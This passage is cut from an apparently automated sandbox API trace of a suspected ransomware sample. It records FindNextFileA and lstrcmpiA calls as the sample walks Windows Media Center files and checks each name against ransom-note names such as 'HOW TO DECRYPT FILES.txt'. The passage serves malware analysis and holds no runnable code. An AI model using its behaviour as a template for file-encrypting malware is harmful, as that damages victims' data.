cAlternateFileName="")) returned 1 [0127.262] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.262] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehglid.dll") returned -1 [0127.262] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehglid.dll") returned 1 [0127.262] lstrcmpiA (lpString1="", lpString2="ehglid.dll") returned -1 [0127.262] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb9bdcab, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x93e3e400, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xdee77625, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehiActivScp.dll", cAlternateFileName="")) returned 1 [0127.263] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.263] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehiActivScp.dll") returned -1 [0127.263] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehiActivScp.dll") returned 1 [0127.263] lstrcmpiA (lpString1="", lpString2="ehiActivScp.dll") returned -1 [0127.263] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1fdae2, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x947c7a80, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xde98e8c5, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehiBmlDataCarousel.dll", cAlternateFileName="")) returned 1 [0127.263] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.263] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehiBmlDataCarousel.dll") returned -1 [0127.263] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehiBmlDataCarousel.dll") returned 1 [0127.263] lstrcmpiA (lpString1="", lpString2="ehiBmlDataCarousel.dll") returned -1 [0127.263] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26e6f9e4, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0xf509b880, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x3dd58ae5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehiExtens.dll", cAlternateFileName="")) returned 1 [0127.264] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.264] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehiExtens.dll") returned -1 [0127.264] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehiExtens.dll") returned 1 [0127.264] lstrcmpiA (lpString1="", lpString2="ehiExtens.dll") returned -1 [0127.264] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x963808b5, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x947c7a80, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xda5451a5, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehiiTV.dll", cAlternateFileName="")) returned 1 [0127.264] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.264] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3471152, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3471152, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3471152, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehiProxy.dll", cAlternateFileName="")) returned 1 [0127.264] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.265] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f35d588, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6f35d588, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15c9f050, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x18a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehitvhost.dll", cAlternateFileName="")) returned 1 [0127.265] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.265] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcddbe695, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x95151100, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xda5451a5, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehiTVMSMusic.dll", cAlternateFileName="")) returned 1 [0127.265] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.265] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x982e485c, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0x95151100, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0xda9496c5, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehiUPnP.dll", cAlternateFileName="")) returned 1 [0127.265] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.266] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2661ace4, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0xf509b880, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x4b961c85, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehiUserXp.dll", cAlternateFileName="")) returned 1 [0127.266] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.266] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d1d1064, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0xf5a24f00, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x53c27525, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehiVidCtl.dll", cAlternateFileName="")) returned 1 [0127.266] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.266] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29590384, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0xf5a24f00, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x58e92ee5, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehiwmp.dll", cAlternateFileName="")) returned 1 [0127.266] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.267] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2705ebc4, ftCreationTime.dwHighDateTime=0x1ca040a, ftLastAccessTime.dwLowDateTime=0xf5a24f00, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0x9ff59945, ftLastWriteTime.dwHighDateTime=0x1ca0421, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehiWUapi.dll", cAlternateFileName="")) returned 1 [0127.267] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.268] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c644c5, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x80c644c5, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15c9f050, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehjpnime.dll", cAlternateFileName="")) returned 1 [0127.268] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.268] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870a9b9f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x870a9b9f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15cc6150, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xb400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehkorime.dll", cAlternateFileName="")) returned 1 [0127.268] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.268] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ae67162, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ae67162, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe19204d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehmsas.exe", cAlternateFileName="")) returned 1 [0127.268] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.269] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa325be0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa325be0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa325be0f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x24c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehPresenter.dll", cAlternateFileName="")) returned 1 [0127.269] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.269] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3046acb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3046acb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3046acb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehprivjob.exe", cAlternateFileName="")) returned 1 [0127.269] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.269] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6284b0a7, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6284b0a7, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15d5d730, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehProxy.dll", cAlternateFileName="")) returned 1 [0127.269] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.270] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea703bc, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6ea703bc, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe19debb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehrec.exe", cAlternateFileName="")) returned 1 [0127.270] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.270] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869d6e22, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x869d6e22, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x85907415, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x113, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehRec.exe.config", cAlternateFileName="")) returned 1 [0127.270] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.270] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa338c911, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa338c911, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa33b2a71, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehRecObj.dll", cAlternateFileName="")) returned 1 [0127.270] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.271] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2fd46aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2fd46aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2ffa80a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xaa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehrecvr.exe", cAlternateFileName="")) returned 1 [0127.271] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.271] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869d6e22, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x869d6e22, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x85dc9fb5, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehRecvr.exe.config", cAlternateFileName="")) returned 1 [0127.271] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.271] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a507b7f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8a507b7f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15d84830, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x65800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehReplay.dll", cAlternateFileName="")) returned 1 [0127.271] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.272] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc4d1c7f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xbc4d1c7f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x2ab059c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x1526800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehres.dll", cAlternateFileName="")) returned 1 [0127.272] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.272] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b01f3, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x702b01f3, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1c41150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehsched.exe", cAlternateFileName="")) returned 1 [0127.272] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.272] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869d6e22, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x869d6e22, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x85f46d57, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehSched.exe.config", cAlternateFileName="")) returned 1 [0127.272] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.273] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa32ce22f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa32ce22f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa33667b1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x604000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehshell.dll", cAlternateFileName="")) returned 1 [0127.273] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.273] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c8a622, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x80c8a622, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1c68250, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x19600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehshell.exe", cAlternateFileName="")) returned 1 [0127.273] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.273] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x869d6e22, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x869d6e22, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x85490b2f, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x8e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehshell.exe.config", cAlternateFileName="")) returned 1 [0127.273] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.274] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85465899, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x85465899, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x2ab059c0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehSidebarRes.dll", cAlternateFileName="")) returned 1 [0127.274] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.274] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa30b8eec, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa30b8eec, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa30df04c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x60600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehskb.dll", cAlternateFileName="")) returned 1 [0127.274] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.274] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x807a1925, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x807a1925, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x15eb5b00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehSSO.dll", cAlternateFileName="")) returned 1 [0127.274] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.274] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cb32572, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x6cb32572, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x160a2da0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehtrace.dll", cAlternateFileName="")) returned 1 [0127.274] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0127.275] FindNextFileA (in: hFindFile=0x502618, 